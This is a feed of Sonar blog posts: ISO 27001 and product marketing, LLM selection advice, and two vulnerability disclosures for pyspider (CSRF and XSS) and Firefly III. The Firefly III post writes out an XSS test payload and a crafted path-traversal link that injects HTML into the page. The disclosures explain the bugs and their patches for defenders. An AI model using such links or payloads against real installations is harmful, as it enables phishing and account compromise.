Sonar Blog RSS feed

ISO 27001 Importance

Mark Clements — Tue, 03 Sep 2024 22:00:00 GMT

The Importance of ISO 27001

ISO 27001 is the commonly recognized standard for information security management systems (ISMS), outlining the requirements an ISMS must meet. Security standards such as ISO 27001 are crucial for businesses as they offer a structured framework for managing and safeguarding sensitive information.

These standards establish a set of practices and controls that have proven to enhance information security when implemented and adhered to. Additionally, the requirement for senior management involvement and accountability ensures a strategic and financial commitment to achieving stronger security.

Achieving certification requires inspection and assessment by a third party, which instills confidence in customers and stakeholders regarding the company's ability to safeguard their data.

Challenges in Meeting Secure Coding Standards for ISO 27001 Compliance

Ensuring that the control requirements are met and that these controls operate effectively across all processes can be a significant challenge for companies, particularly for those developing software with ambitious business goals. These challenges can lead to friction between the product and engineering teams and the security and compliance teams.

Let's consider the ISO 27002 control, 8.28 Secure coding, the objective of which is “to ensure software is written securely thereby reducing the number of potential information security vulnerabilities in the software”. Conforming to the requirements of this control manually can be a burden to the organization:

“using secure programming techniques, such as peer review”
“secure coding practices specific to the programming languages being used”
“using structured programming techniques”
“prohibiting the use of insecure design techniques”
“conducting an analysis of the most common programming errors”
“ensuring that software is maintainable”

While pair programming has proven benefits, peer-reviewing all code changes with the same level of detail and accuracy is difficult and resource-intensive. The need for additional resources when multiple languages are being used just exacerbates the problem. Manual peer review is a tax on developer productivity.

For teams working towards aggressive deadlines with overstuffed sprints, these important controls often become lower priorities. This leads to the deployment of code that may work well at the time but is difficult to maintain and contains exploitable vulnerabilities. When the auditor requests evidence of a consistent operation of security controls in the development process, a successful recertification is put at risk.

Implementing 8.28 Secure Coding with Sonar

Sonar’s Clean Code solutions cover your code quality needs, improving code reliability, maintainability, and security. Sonar products (SonarQube, SonarCloud, and SonarLint) seamlessly integrate into your development and build processes, automatically enforcing ISO 27002 8.28 Secure Coding controls for all code branches and pull requests.

You will also benefit from broad coverage of other ISO 27002 controls such as 8.26 Application Security Requirements, and 8.29 Security Testing in Development and Testing. The impact on the developers is minimal and predictable, as all they need to do is correct the findings. Using the IDE-integrated SonarLint plugin shifts this process even further left, catching issues in real-time as they are coding. And, with static analysis rules for 30+ programming languages, it is easy to ensure the full development stack is covered.

Project managers will have access to consolidated statistics via rich reports and dashboards of findings and outstanding issues to ensure consistent measurement of quality and security across all products, departments, and teams. Quality and security gates can be fine-tuned to promote continuous improvement.

Sonar also simplifies the process of providing evidence of secure and high-quality code to auditors. All changes are tracked and reported through the enterprise reports. Continuous improvement can also be demonstrated to the auditor, evidencing the raising of the gate and the drop in the number of findings.

Furthermore, by continuously educating developers through 5000+ static analysis rules, you can demonstrate that developers are adequately trained in accordance with ISO 27002 8.25, the Secure development life cycle that requires “application security knowledge and training.”

Ready to enhance your code security and streamline compliance? Integrate SonarQube, SonarCloud, and SonarLint into your development workflow to automatically enforce ISO 27002 8.28 Secure Coding controls.

Start your journey towards robust, secure code and efficient compliance by requesting a demo or evaluating SonarQube or SonarCloud today!

Basic HTTP Authentication Risk: Uncovering pyspider Vulnerabilities

Yaniv Nizry — Mon, 02 Sep 2024 22:00:00 GMT

pyspider is a powerful and versatile web crawling framework that caters to various use cases. With its user-friendly approach, robust features, and extensive support for different technologies, it's a great choice for developers who want to build reliable and efficient web scrapers in Python. Unfortunately in the last years, the project was neglected and left unmaintained, and as a result of our reporting, the maintainer archived the GitHub repository to highlight that the project is not updated anymore. This also means that security vulnerabilities are not fixed.

Driven by our dedication to both open-source security and the advancement of our Clean Code technology, we leverage SonarCloud to conduct frequent vulnerability scans on open-source projects. This not only benefits the broader open-source community but also strengthens our own tools – and the best part? SonarCloud offers free code analysis for any open-source project, making it accessible to everyone.

This article delves into the consequences of vulnerabilities found by our engine and uncovers the risk of using basic HTTP authentication. We'll also explore how attackers might leverage this vulnerability.

Impact

An attacker might manipulate an authenticated victim to click on a malicious link, resulting in code execution on the host running pyspider. After we reported our findings, the maintainer has archived the repository on GitHub, making sure users are aware the project isn’t supported anymore (refer to the Patch and Timeline sections for more info).

Watch the video

Technical Details

In this section, we will cover the technical details of the findings, and interesting security information for developers opting to use the basic HTTP authentication in their application.

Background

Before delving into the details of the findings, we first need to understand some basic features of the application. pyspider provides users with a convenient WebUI component that allows project management, task monitoring, viewing results, and crawl script code editors. From a security point of view, the code editor feature allows running arbitrary Python code on the machine through the web interface, by design. To protect an externally exposed instance, pyspider offers the ability to enable authentication via the --need-auth flag.

Discovering vulnerabilities

SonarCloud, our cloud-based code analysis service, employs cutting-edge static analysis techniques to identify quality issues, bugs, and security weaknesses within your code. During a routine scan of public open-source projects, SonarCloud identified the following issues in pyspider's WebUI component (see it yourself on SonarCloud):

The first one is a detected vulnerability covering a Cross-Site Scripting (XSS) reflection on the /update route via the name parameter:

The second finding is a security hotspot warning us that there is a risk of Cross-Site Request Forgery (CSRF) when using Flask without any protection.

The key distinction between a hotspot and a vulnerability lies in the immediacy of the security risk. (read more in the official documentation)

Hotspot: A hotspot flags a potentially risky code section that might become a vulnerability in certain contexts. It's like a yellow traffic light – proceed with caution and review the code. The overall application security might not be compromised, but further analysis is recommended.
Vulnerability: A detected vulnerability represents a high likelihood of a security weakness that can be exploited by attackers. It's akin to a red traffic light – stop and fix the issue immediately. Vulnerabilities pose a clear and present danger to the application's security.

Let's consider a CSRF hotspot rule:
The scanner might highlight a POST endpoint that doesn't include a CSRF token. This is a hotspot because, without a token, an attacker could potentially craft a malicious request that tricks a user's browser into submitting the form unintentionally. However, a CSRF attack can be mitigated already depending on the cookie’s SameSite type used in the application. Or, the application logic of that endpoint doesn't have any security impact nor require authentication in the first place. For those reasons, it might be considered a low-priority hotspot for review, depending on the specific context of the application.

Basic HTTP authentication CSRF (CVE-2024-39163)

In the case of pyspider, the hotspot was relevant and exploitable. As mentioned before, access to the pyspider WebUI is equivalent to code execution. In instances where authentication is not enabled, it's considered a risk introduced by the pyspider user rather than a vulnerability. We are interested to see what can go wrong if authentication is enabled.

Before trying to validate the CSRF hotspot, let's see how pyspider implements authentication. Setting up the application using the --need-auth flag, and trying to access the web interface we are introduced to the following browser-default login prompt:

This authentication method is used under the hood is Basic HTTP authentication. While this is a rather legacy authentication mechanism it is still supported by modern browsers. On top of that they handle it conveniently, by using the built-in UI prompt and sending the credentials in the subsequent requests via the Authorization header:

Unlike the other common way of authentication and maintaining a session via cookies, the browser doesn't implement any CSRF mitigation for the basic HTTP authentication and the corresponding Authorization header, such as SameSite cookies. The browser adds the Authorization header containing the Basic auth credentials to all cross-site requests as well. This means that the only thing standing between a CSRF vulnerability and the application are mitigations on the endpoint level (a CSRF token, for instance).

Because no mitigation steps are taken, an attacker would just need to understand which requests are made to execute arbitrary code on the machine and craft a malicious website that replicates them, exploiting the CSRF vulnerability. Manipulating an authenticated victim to visit the attacker’s website will result in arbitrary code execution.

Reflected XSS Vulnerability (CVE-2024-39162)

The second detected vulnerability reported by SonarCloud is an XSS in the /update endpoint.

@app.route('/update', methods=['POST', ])
def project_update():
    # ...
    name = request.form['name']
    # ...
    if name not in ('group', 'status', 'rate'):
        return 'unknown field: %s' % name, 400

This simple example showcases how a reflected XSS looks like on the code level. A parameter is taken from the request (a user input) and if certain conditions match, the value is reflected back to the user.

While this is a POST-only endpoint, an attacker cannot simply craft a malicious link with a reflected XSS payload, but by leveraging the first finding, an attacker can create a malicious website that uses CSRF and elevate it to XSS. From there, code execution on the server is an intended feature.

Patch

After disclosing the vulnerabilities the maintainer stated that this project is no longer maintained and archived the repository on GitHub as a result. We recommend avoiding using unmaintained code, or as a last resort, disabling the WebUI component of pyspider.

Timeline

Date	Action
2024-04-03	We reported all issues to the maintainers
2024-04-29	We pinged the maintainers
2024-05-03	We pinged the maintainers again mentioning that 60 days had passed
2024-06-03	We notified the maintainers that the 90-day disclosure window has passed and we will release a blog post about the findings
2024-06-11	The maintainer stated the project is unmaintained and archived the repository
2024-07-05	CVE-2024-39163 and CVE-2024-39162 were assigned

Summary

This blog post delves into the critical role of code analysis in safeguarding applications. We showcase the power of SonarCloud, our cloud-based service that identifies security vulnerabilities often buried within your codebase. SonarCloud ensures Clean Code practices enhancing code readability, maintainability, and security. Clean code and proactive code analysis empower developers to build more secure applications.

We explored real-world examples of vulnerabilities unearthed by SonarCloud, highlighting the potential dangers they pose. And explained how legacy basic HTTP authentication could be convenient to use but might contain some security risks. Additionally, we demonstrated the differences between a “vulnerability” finding vs a “hotspot”, and why developers shouldn’t neglect them.

How to Choose an LLM in Software Development

Manish Kapur — Tue, 27 Aug 2024 15:00:00 GMT

With so many Large Language Models (LLMs) out there, selecting the right LLM is crucial for any organization looking to integrate AI into its operations. Whether you’re developing AI-driven applications, automating tasks, or exploring AI for code generation, your choice of LLM can significantly influence your project’s success.

Before diving into the technical details of selecting a Large Language Model, it's crucial to first define your business goals and specific use cases. Determine the tasks you need the model to handle—whether it's Natural Language Processing (NLP) for customer support, speech recognition, a multimodal model for combining text and images, or AI-assisted code generation. Start by identifying the specific modality you need. If you're focused on text processing, choose a text model—there's no need for an image or audio model. However, if your task involves table parsing, image analysis, or audio processing, you'll need a model tailored to that specific modality.

Some LLMs are better suited for solving specific business challenges than others; one size does not fit all. By aligning the model’s capabilities with your business objectives, you can ensure that the technology you choose will effectively address your needs and deliver measurable value.

This blog will guide you through the key considerations when choosing an LLM, especially for AI code generation, and will compare commercial and open-source LLMs to help you make an informed decision.

Commercial LLMs vs. Open-Source LLMs

There are two main categories of LLMs: commercial Large Language Models and open-source Large Language Models. Commercial LLMs, developed by companies like OpenAI, Google, or Microsoft, are proprietary models that come with a subscription fee. Open-source LLMs, such as those from the Hugging Face or Meta AI, are developed and maintained by a community of contributors and are freely available for anyone to use and modify. The choice between commercial and open-source LLMs often depends on factors like expertise, budget, and the specific requirements of the project. Let's now look at these factors and compare the strengths and weaknesses of commercial and open-source LLMs to help you make the best choice for your needs.

Expertise and Setup

Commercial LLM: These models are generally ready to use with minimal setup required. For instance, OpenAI’s GPT-4 offers pre-built capabilities that can be easily integrated into your applications, making it ideal for teams with limited AI/ML expertise. This approach is perfect for those looking to get started quickly without the need for deep technical knowledge.

Open-Source Pre-Trained LLM: On the other hand, models like Meta’s LLaMA or OPT require significant expertise in fine-tuning and deployment. These models are more flexible and can be customized to fit specific needs, but they demand a team with strong AI/ML skills. This setup is ideal for organizations with in-house expertise that can manage and optimize these models to get the best results.

Budget Considerations

Commercial LLM: If you’re looking to minimize upfront costs, commercial LLM APIs are the way to go. They allow you to get your Minimum Viable Product (MVP) up and running quickly without the need for large R&D investments. However, keep in mind that as you scale, costs can rise significantly, especially with API usage fees.

Open-Source Pre-Trained LLM: While the initial investment in setting up an open-source model may be higher, the long-term cost efficiency is better. Once the model is fine-tuned and deployed, you avoid the recurring API fees, making this option more cost-effective at scale.

Time to Market

Commercial LLM: If speed is your priority, commercial LLM APIs offer the fastest route to market. They are designed for rapid deployment, allowing you to quickly integrate AI capabilities into your applications. However, relying on these APIs may limit your competitive edge in the long run due to the lack of differentiation.

Open-Source Pre-Trained LLM: Although it takes more time to set up and fine-tune open-source models, the payoff is worth it. Customizations and optimizations can give you a sustainable competitive advantage, particularly in specialized use cases like AI code generation.

Control Over Model Quality & Customization

Commercial LLM: With commercial LLM APIs, your control over the model is limited. These models often operate as “black boxes,” meaning you can’t modify their inner workings. This lack of control can be a drawback if you need the model to behave in a specific way or adhere to particular standards, such as secure coding practices.

Open-Source Pre-Trained LLM: Open-source models offer complete control over their architecture and behavior. For example, fine-tuning a model like GPT-J or CodeLlama allows you to optimize it for code generation tasks, ensuring the generated code meets your specific quality and security standards.

Data Privacy

Commercial LLM: Many commercial models require sending your data to third-party servers for processing. This can be a dealbreaker for organizations dealing with sensitive data or operating in highly regulated industries.

Open-Source Pre-Trained LLM: With open-source models, you have full control over your data. You can host the model on-premises, ensuring that all data stays within your organization’s secure environment. This is particularly important for companies handling confidential or sensitive information.

Inference Speed

Commercial LLM: Commercial LLMs' inference speed is generally fast, but it can be impacted by API delays, high latency, or disruptions, especially as usage scales. This can be a bottleneck in time-sensitive applications.

Open-Source Pre-Trained LLM: Open-source models give you the flexibility to optimize for lower latency, enabling faster and more consistent performance. Deploying the model locally on powerful, dedicated hardware, you can achieve better inference speeds.

Cost Efficiency at Scale

Commercial LLM: While commercial LLMs are easy to start with, costs can balloon as you scale, especially with per-token pricing models. This can become a significant expense for large-scale projects.

Open-Source Pre-Trained LLM: Once set up, open-source models typically offer a more predictable and lower-cost structure. For example, models like CodeParrot can be run on your own infrastructure, making them more cost-effective in the long run.

Size of LLM

The size of an LLM is typically measured by the number of parameters it contains. Parameters are the elements within the model that are learned from the data during training, and they play a critical role in the model’s ability to understand and generate text. The key to choosing the right LLM lies in balancing the model’s size with your application’s specific requirements, cost constraints, and deployment environment. Often, experimenting with different model sizes and configurations can help identify the best fit.

Commercial LLM: Commercial LLMs, developed by companies like OpenAI and Google, typically offer larger and more sophisticated models. These models have been trained on vast datasets and have undergone extensive fine-tuning, making them highly capable but also resource-intensive. The size of these models often translates to better performance, especially for complex tasks, but it also requires more powerful hardware and more substantial investment in terms of computational resources.

Open-Source Pre-Trained LLM: Open-source LLMs vary widely in size. While there are some large open-source models that rival commercial offerings, many open-source models are designed to be more lightweight and accessible, catering to developers who may not have access to high-end hardware. These smaller models are easier to deploy and can be more cost-effective, but they might not offer the same level of performance or accuracy as their larger, commercial counterparts. However, the flexibility to customize and optimize (fine-tuning, using RAG) these models for specific tasks can sometimes offset the limitations of size.

LLMs for AI Code Generation

Choosing the right LLM for AI code generation involves balancing various factors such as code quality, security, customization, model size, and cost. Consider scalability and the balance between cost and performance. Additionally, ensure the model aligns with your ethical standards and has strong support, whether from a vendor or the open-source community.

When choosing an LLM for AI code generation, consider these additional criteria:

Supported Programming Languages: Ensure the LLM supports the programming languages you're using in your project.

Code Quality: Look for an LLM that generates clean, well-structured, and efficient code.

Accuracy: The LLM should be able to generate code that functions correctly and meets your requirements.

Integration Capabilities: Consider how the LLM integrates with your development workflow and tools.

Some popular LLMs used for AI code generation include:

OpenAI Codex (Commercial): This LLM is specifically designed for code generation and can translate natural language instructions into Python, Java, JavaScript, and other programming languages.

GitHub Copilot (Commercial): This AI assistant, powered by OpenAI Codex, can suggest code completions and functions as you type. It integrates directly into development environments (IDEs) like Visual Studio Code.

TabNine (Commercial): This AI coding assistant is designed for code completion and generation. It supports a wide range of programming languages and focuses on seamlessly integrating into various IDEs.

Code LLaMA (Open source): A variant of the LLaMA model family, CodeLlama supports multiple programming languages and excels at generating and completing code with high accuracy. With fine-tuning, this model can be adapted for specific coding tasks, making it a versatile option.

GPT-J (Open source): An open-source alternative that, with the right customization, can be tailored for generating clean, high-quality code.

StarCoder (Open source): An open-source model trained on diverse programming languages, and ideal for tasks like code completion, synthesis, and refactoring.

Ensuring the Quality and Security of AI-generated Code

While LLMs can significantly speed up the software development process by generating code quickly, they also come with potential risks. The code produced by these models may contain bugs or security vulnerabilities that could compromise the reliability and safety of your software. To mitigate these risks, it's essential to conduct thorough code reviews using specialized tools like SonarQube and SonarCloud. These tools are designed to automatically analyze your code for common errors, potential security flaws, and adherence to best practices. By integrating these checks into your development process, you can ensure that the code generated by the LLM is not only efficient but also secure and reliable. This approach helps you maintain high standards in your software projects, reducing the likelihood of issues that could lead to costly fixes or security breaches down the line.

Learn how integrating AI code generation tools with Sonar solutions boosts productivity and ensures high-quality software. Request a demo to learn more.

SonarCloud or SonarQube, What's Right for Your Team?

Robert Curlee — Wed, 21 Aug 2024 05:00:00 GMT

This blog was originally published on April 28, 2020. Since then, it has been refreshed with updated content, including newly added features as of August 2024.

SonarCloud and SonarQube are both valuable tools to help you write clean, high-quality code for your projects. So, which solution is best for you and your team?

The choice boils down to whether you want a self-managed solution or a cloud-based SaaS service that is managed for you. Both solutions give you essentially the same core features at each edition level, whether you're a small team or a large enterprise company. In this blog, I will walk you through the options so you can make an informed decision.

The base: Static analysis for 30+ languages

Both products cover the same 30+ languages and frameworks. They share the same underlying static code analysis engine to catch issues that result in bugs, vulnerabilities, and code smells and generate valuable code quality metrics. The essential distinction: Your existing software development pipeline

The distinction: Where is your CI/CD pipeline?

One of the key differences concerns how each product is hosted and managed. SonarCloud is a fully SaaS offering where Sonar hosts and manages the software for you in the cloud. If your team is already operating in a cloud DevOps platform, where your code and workflow are fully cloud-based (e.g., GitHub.com+Travis), then SonarCloud is a good fit.

SonarCloud readily integrates with cloud-based DevOps platforms: GitHub.com, GitHub Enterprise Cloud, Azure DevOps Services, Bitbucket Cloud, and GitLab.com. Sonar operates SonarCloud in AWS, which is the easiest path to start scanning your code within minutes. With SonarCloud, Sonar does all the heavy lifting for you, so you don't have to worry about installation, upgrades, or maintenance. As a SaaS offering, SonarCloud gives you immediate access to new features and functionality the moment they are released.

SonarCloud features automatic analysis for over 30 languages to get you up and running fast. This autoscanning feature can be a perfect fit for teams that want actionable code quality metrics without the burden of tool configuration. For some use cases, fully setting up the analysis configuration will yield a better developer experience and 'unlock' more SonarCloud features.

SonarQube, on the other hand, is entirely operated by you in the environment of your choice. You deploy SonarQube along with a supported database on your own servers or in a self-managed cloud environment. Once installed, SonarQube readily integrates with your self-hosted instance of GitHub, GitLab, Azure DevOps, or Bitbucket. If you have a hybrid environment where you store code in the cloud and rely on a locally managed CI/CD pipeline, SonarQube can also integrate with the cloud versions of all these DevOps platforms.

Going the SonarQube route means you'll be hands-on with installing, upgrading, and maintaining your environment on your terms. On average, we release a new version of SonarQube every two months. To stay current with new features, functionality, security updates, and bug fixes, we recommend you upgrade when a new version is released. Speaking of versions, it's important to note that SonarQube offers a Long-Term Active (LTA) version. Sonar releases a SonarQube LTA version approximately every 18 months. The focus of the LTA is to package all the features of the dot releases in a stable version that we release on a cadence in line with large companies' ability to schedule large upgrades. Critical bug fixes and security updates are also released to the LTA in patches as needed.

For enterprise needs, Sonar recommends the SonarCloud Enterprise plan and SonarQube Enterprise Edition (EE), both offering advanced features tailored to your organization's specific use cases. This functionality falls into five main categories: authentication, governance, executive reporting, multiple repository support, and extensibility.

Authentication

With SonarCloud and all editions of SonarQube, you can authenticate using your existing DevOps platform credentials (GitHub, Bitbucket, Azure, and GitLab). SonarQube also allows you to authenticate using third-party tools that support SAML and LDAP protocols. SonarCloud Enterprise offers Single Sign On with SAML.

Additionally, with SonarQube Enterprise Edition, automatic provisioning of users and groups through System for Cross-domain Identity Management (SCIM) is available for Okta and Azure AD.

Governance

Sonar's solutions also include aggregating projects into applications (SonarQube Developer Edition+) and portfolios (SonarCloud Enterprise plan and SonarQube Enterprise Edition+), which are visual dashboards that allow you to organize projects in a manner that tracks your business objectives. Applications allow you to have a single view of all the projects that ship together as a complete app. Portfolios are similar and enable you to aggregate multiple apps and projects around organizational or business objectives. For example, you can create a portfolio to track all your front-end projects or all the projects for a geographical team.

Executive reporting

With SonarQube Enterprise Edition and SonarCloud Enterprise plan, you additionally get executive-level reporting capabilities. These reports work hand-in-hand with your portfolios to give you insight into key metrics such as reliability, maintainability, and releasability. Additionally, there are security reports, including coverage for PCI DSS, OWASP ASVS, OWASP Top 10, CASA, STIG, and CWE Top 25.

SonarQube saw its beginnings well over a decade ago. As the product matured, we identified an 'Enterprise' use case distinct from the 'core' functionality use case centered on developers. It's common for large organizations to have a 'non-developer' audience requiring measurement from a broader perspective and context. To satisfy this need for reporting and business KPIs, we added a set of 'governance' features to SonarQube.

As our customers started adopting the cloud and asking for enterprise features, we started offering these features in the Enterprise plan that was released in the summer of 2024.

DevOps platform support

Sonar solutions serve organizations that require connectivity to multiple DevOps platforms.

For example, a single SonarQube Developer Edition instance can make a single connection each for up to four DevOps platforms (1x GitHub, 1x Bitbucket, 1x GitLab, and 1x Azure DevOps). If you need multiple configurations for a specific DevOps provider (e.g., 2x GitHub Enterprise Server and 1x GitHub.com), you'll need SonarQube Enterprise Edition.

SonarCloud also supports multiple DevOps platforms. With SonarCloud Enterprise, several organizations can be grouped together under an enterprise. The enterprise’s organizations may belong to different DevOps platforms. This means you can add all your organizations (no matter which DevOps platform or how many) to your enterprise.

A note on extensibility

Lastly, I'll touch on extensibility. The Sonar community has developed and maintained an expansive and robust library of SonarQube plugins. These plugins extend the functionality of SonarQube in more fringe areas to cover capabilities Sonar does not plan to support. Examples include additional programming language support, integration with less mainstream SCM engines, and regional language localization.

At this time, SonarCloud is not open for 3rd party plugin contributions from the community.

Wrapping it all up

In summary, if your team is entirely cloud-based, you don't want maintenance hassles and you'd like the fastest access to new features, SonarCloud is an excellent choice. If you're OK with self-hosting and maintenance or see value in the management capabilities, then SonarQube would make sense.

Once you've chosen your path, I encourage you to visit our solution summary for full details on how to get started.

The goal of this article wasn't to exhaustively list all the product differences, as each environment is unique. However, you now have the information relevant to most use cases. If you have further questions, I encourage you to contact our Community Forum. If you need assistance regarding commercial usage, you can submit a question to the team.

Thanks for reading, and happy, clean coding!

Pick a topic to discover more:

How Bad Code Destroys Developer Velocity

Your Guide to Clean Code in Cloud Native Apps

Level Up Your Team's Skills as They Code

Sonar Founder Olivier Gaudin at QCon London 2024

Arden Gonzales — Thu, 15 Aug 2024 13:00:00 GMT

This past spring, senior software engineers, software architects, and engineering team leaders from around the world attended QCon London to share information and adopt the right software innovations and practices.

Alongside top engineers from companies such as Microsoft, Meta, and GitLab, Olivier Gaudin, Sonar's founder took the stage to discuss Clean Code as the foundation of well-functioning development teams.

(Pictured left to right: Tom Howlett, Head of Product Management; Nicolas Peru, Head of Product Delivery; and Olivier Gaudin, Sonar founder and Chairman, at QCon London 2024)

When teams and their software work from bad code, both underperform. In his talk, Olivier explores how this can be easily remedied by taking just a few very simple steps toward a cleaner approach to code, regardless of the technology and tools in use or the seniority of the team. You can view the full presentation below, but for a quick jump into the key highlights, keep reading!

Watch the video

The Core of Software is Code

The world runs on software. When you use your car, buy a concert ticket on an app, message a friend over social media, or play music from a streaming service, all of these things are enabled through software. And code is what is at the core of the capabilities that software enables.

Every digital tool, application, or system starts as code written by developers. Code is essential for building, maintaining, and improving software. That’s why when an error or bug in code is pushed to production, the consequences can be massive. This could result in features not working properly, application crashes, and even more severe problems like negative impact on customers, damage to business reputation, and expensive setbacks.

For businesses to compete in today’s software-driven market, digital innovation is essential. With code at the foundation of this, it is vital that development teams are able to work efficiently and effectively. When there are big cracks in the foundation (i.e. lines of bad, insecure, and poorly written code), technical debt, security incidents, and availability issues can arise, placing innovation on the back burner. Organizations must invest in the right tools for their development teams, and ensure the right approach to software development is in place, so that code does what it should – drive business.

Good Software is Made of Clean Code

Poor-quality code can have wide-ranging repercussions and be detrimental to organizations on various levels. Only when the characteristics of Clean Code are met — consistent, intentional, adaptable, and responsible — can development teams be confident that the software is quality, maintainable, reliable, and secure.

Developers should focus their coding efforts with an eye toward quality control to ensure top performance. This can be done by practicing Clean as You Code (CaYC), whether writing the code yourself or working with code generated by AI. When a CaYC approach is taken to software development, developers have better control over their code and can ensure overall better application performance. This also results in reduced business and reputational risk, decreases code-level tech debt, and increases developer velocity.

Pairing this approach with the right tools is critical. Many code analysis tools currently focus on identifying security issues but what are the next steps for the developer when they receive this data? Different companies have their own ways of handling problems, often leaving teams to assess code issues on a case-by-case basis. Clean Code helps developers understand the bigger picture together, supporting collective intelligence and consistent cross-team collaboration.

The ability to reduce the risk of poor software ultimately depends on the investment in building continuous Clean Code, ensuring a final product that’s reliable and doesn’t contribute to tech debt.

Prevention and Remediation at the Same Time

When faced with a bursting pipe, the natural response is to quickly mop up the mess. However, mopping up just the mess itself does not truly solve the root of the problem (the broken pipe). Software is made up of code, and for software to operate as intended, it must be built on Clean Code. Similarly with the broken pipe, if there’s an issue in the code, the root cause should be addressed first rather than continuously mopping up the incurring damage.

With a CaYC approach, developers take responsibility for their code and can be confident that further problems aren’t introduced when code is changed or added. As developers change software to meet new language updates and compliances, they can rest assured that they’re increasing their code quality and reducing tech debt.

Front-End Frameworks: When Bypassing Built-in Sanitization Might Backfire

Stefan Schiller — Tue, 13 Aug 2024 15:00:00 GMT

Modern JavaScript front-end frameworks like React, Angular, and Vue.js safeguard your application from Cross-Site Scripting (XSS) vulnerabilities by automatically escaping untrusted content. While this is a suitable and safe solution for most use cases, there might be scenarios where developers want to directly render HTML and thus need to bypass this protection.

This is obviously dangerous, and it’s a developer's responsibility to ensure that the inserted content is safe. For this, it is crucial to verify that a malicious user cannot control the data that is inserted as raw HTML. However, other unrelated issues in the application can quickly falsify the assumption of what can be controlled and what cannot - leading to an XSS vulnerability.

This blog post will showcase the dangers of bypassing a framework’s built-in sanitization by explaining how attackers could have exploited the finance application Firefly III. We will explain how a combination of Client-Side Path Traversal and a deliberate Sanitization Bypass could make your application vulnerable, too.

Bypassing Built-in Sanitization

For the sake of this blog post, we will stick to Vue.js, which is used by Firefly III. The same principles apply to other JavaScript front-end frameworks like React and Angular.

Vue.js uses the Mustache template syntax with double curly braces to interpolate text into an element:

The built-in sanitization ensures that even if userInput contains malicious HTML like <img src=x onerror=alert(1)>, no alert box is triggered since the value of userInput is inserted as text only. This can be verified by inspecting the syntax highlighting in the DOM tree visualizer of the browser devtools. The whole img tag is colored in black:

There might be a use case where a developer does not only want to dynamically insert text but raw HTML. For this purpose, the v-html directive can be used to bypass the text-only limitation:

If userInput contains <img src=x onerror=alert(1)> now, it is actually inserted as raw HTML and the alert box is triggered. The syntax highlighting in the DOM tree now looks like this:

This deliberate bypass of the built-in sanitization should be used with caution and only in scenarios where it can be ensured that a user cannot control the value that is inserted as raw HTML. This does not only apply to Vue.js, but also to other JavaScript front-end frameworks.

Sonar’s source code analysis provides more than 400 rules for JavaScript, including specific rules for React, Angular, and Vue.js. When we analyzed the popular finance application Firefly III on SonarCloud, one of these rules was triggered. This issue quickly caught our attention:

View this issue on SonarCloud

In the following section, we explain why this is an unsafe bypass and describe how attackers could leverage Client-Side Path Traversal (CSPT) to control the error_message value that is rendered as raw HTML.

Firefly III Sanitization Bypass & Client-Side Path Traversal (CVE-2024-22075)

When inspecting the file containing the issue raised by SonarCloud, we noticed that the error_message variable is populated in the catch-block of an Axios request made to the /api/v1/webhooks/ endpoint. The catch-block is entered when the web server responds with a non-2xx status code. In that case, error_message is populated with the message value of the JSON response:

downloadWebhook: function (id) {
      axios.get('./api/v1/webhooks/' + id).then(response => {
        // ... handle response ...
      }).catch(error => {
        this.error_message = error.response.data.message;
      });
    },

The id variable passed to the downloadWebhook function is appended to the requested API endpoint. This id is taken from the browser's current URL via the window.location.href attribute:

const page = window.location.href.split('/');
const webhookId = page[page.length - 1];
this.downloadWebhook(webhookId);

Thus, the request issued by the browser looks like this when the id is 1, for example:

An attacker who would like to inject HTML code into the error_message would need to make the API request return a non-2xx status code and control part of the JSON message value returned from the web server.

Since the id passed to the downloadWebhook function is directly taken from the browser's URL and appended to the requested API endpoint without any sanitization, an attacker can craft a malicious URL with an id that traverses to another API endpoint. This technique is known as Client-Side Path Traversal (CSPT).

Let's consider the following example. Usually, the browser's URL looks like this:

http://example.com/webhooks/edit/1

The id is populated with all content of this URL after the last slash. Thus the id is 1 for this example. The corresponding API request made by the client-side JavaScript code is this:

http://example.com/api/v1/webhooks/1

An attacker can leverage this by crafting a malicious URL like this:

http://example.com/webhooks/edit/1#/..\..\..\some\other\endpoint

The 1# at the beginning is necessary to make the server-side endpoint handler respond with a valid page. If the attacker now tricks an authenticated victim into visiting this link, the victim's browser extracts the id, which is everything after the last forward slash:

..\..\..\some\other\endpoint

This id is appended to the requested API endpoint and the victim's browser normalizes the backslashes to forward slashes. Thus the browser performs a request to the following endpoint:

http://example.com/some/other/endpoint

An attacker can leverage the /reports/default/1/<start>/<end> endpoint to control parts of the returned JSON message value. This endpoint tries to convert the start and end path parameters to DateTime objects. When this conversion fails, it returns an HTTP 500 Internal Server Error response, which reflects the end value in the message response:

Request

GET /reports/default/1/0/INJECT HTTP/1.1
Host: example.com

Response

HTTP/1.1 500 Internal Server Error
Date: Tue, 19 Dec 2023 09:30:45 GMT
Server: Apache
...

{"message":"Internal Firefly III Exception: Failed to parse time string (INJECT) at position 0 (I): The timezone could not be found in the database","exception":"Carbon\\Exceptions\\InvalidFormatException"}

This allows an attacker to use the Client-Side Path Traversal vulnerability to reach the XSS sink:

An attacker can, for example, craft the following malicious link:

http://example.com/webhooks/edit/1#/..\..\..\..\reports\default\1\0\%3Ch1%3EHACKED%3Cbr%3E%3Cbr%3E

If an authenticated victim clicks on this link, and there is a least one webhook configured, the HTML code is injected into the page:

Limited Impact Due to Strong CSP

Fortunately, the default setup of Firefly III employs a strong Content-Security-Policy (CSP) that prevents an attacker from performing Cross-Site Scripting (XSS). The vulnerability could still be used to inject arbitrary HTML or CSS into the page. For example, an attacker can inject a meta tag, which immediately redirects the user to another page. This can be used in a phishing attack to redirect the user to a page that looks similar to the Firefly III application and prompt the user for their credentials. Alternatively, an attacker could leverage CSS data exfiltration techniques or craft a fake UI and trick the user into making a form submission to the application (submitting a form to another origin is prevented via the CSP).

Patch

The vulnerability was fixed with Firefly III version v6.1.1. Since the error message is supposed to be populated with raw HTML, the v-html directive was not removed and two mitigations were applied to prevent an attacker could control this value.

At first, the Client-Side Path Traversal vulnerability was fixed by converting the webhookId extract from the URL to an integer:

-     const webhookId = page[page.length - 1];
+     const webhookId = parseInt(page[page.length - 1]);

Secondly, the error message raised by the /reports/default/ endpoint was changed so that it does not contain any dynamic data and only a static error message:

-       } catch (InvalidDateException $e) { // @phpstan-ignore-line
+       } catch (InvalidDateException|InvalidFormatException $e) { // @phpstan-ignore-line
           $message = sprintf('Could not parse date "%s" for user #%d: %s', $value, auth()->user()->id, $e->getMessage());
           app('log')->error($message);
-           throw new NotFoundHttpException($message, $e);
+           throw new NotFoundHttpException('Could not parse value', $e);
       }

It is generally a good approach to only return static error messages, as highlighted by one of our recent findings in Mailcow, where a controlled error message led to XSS.
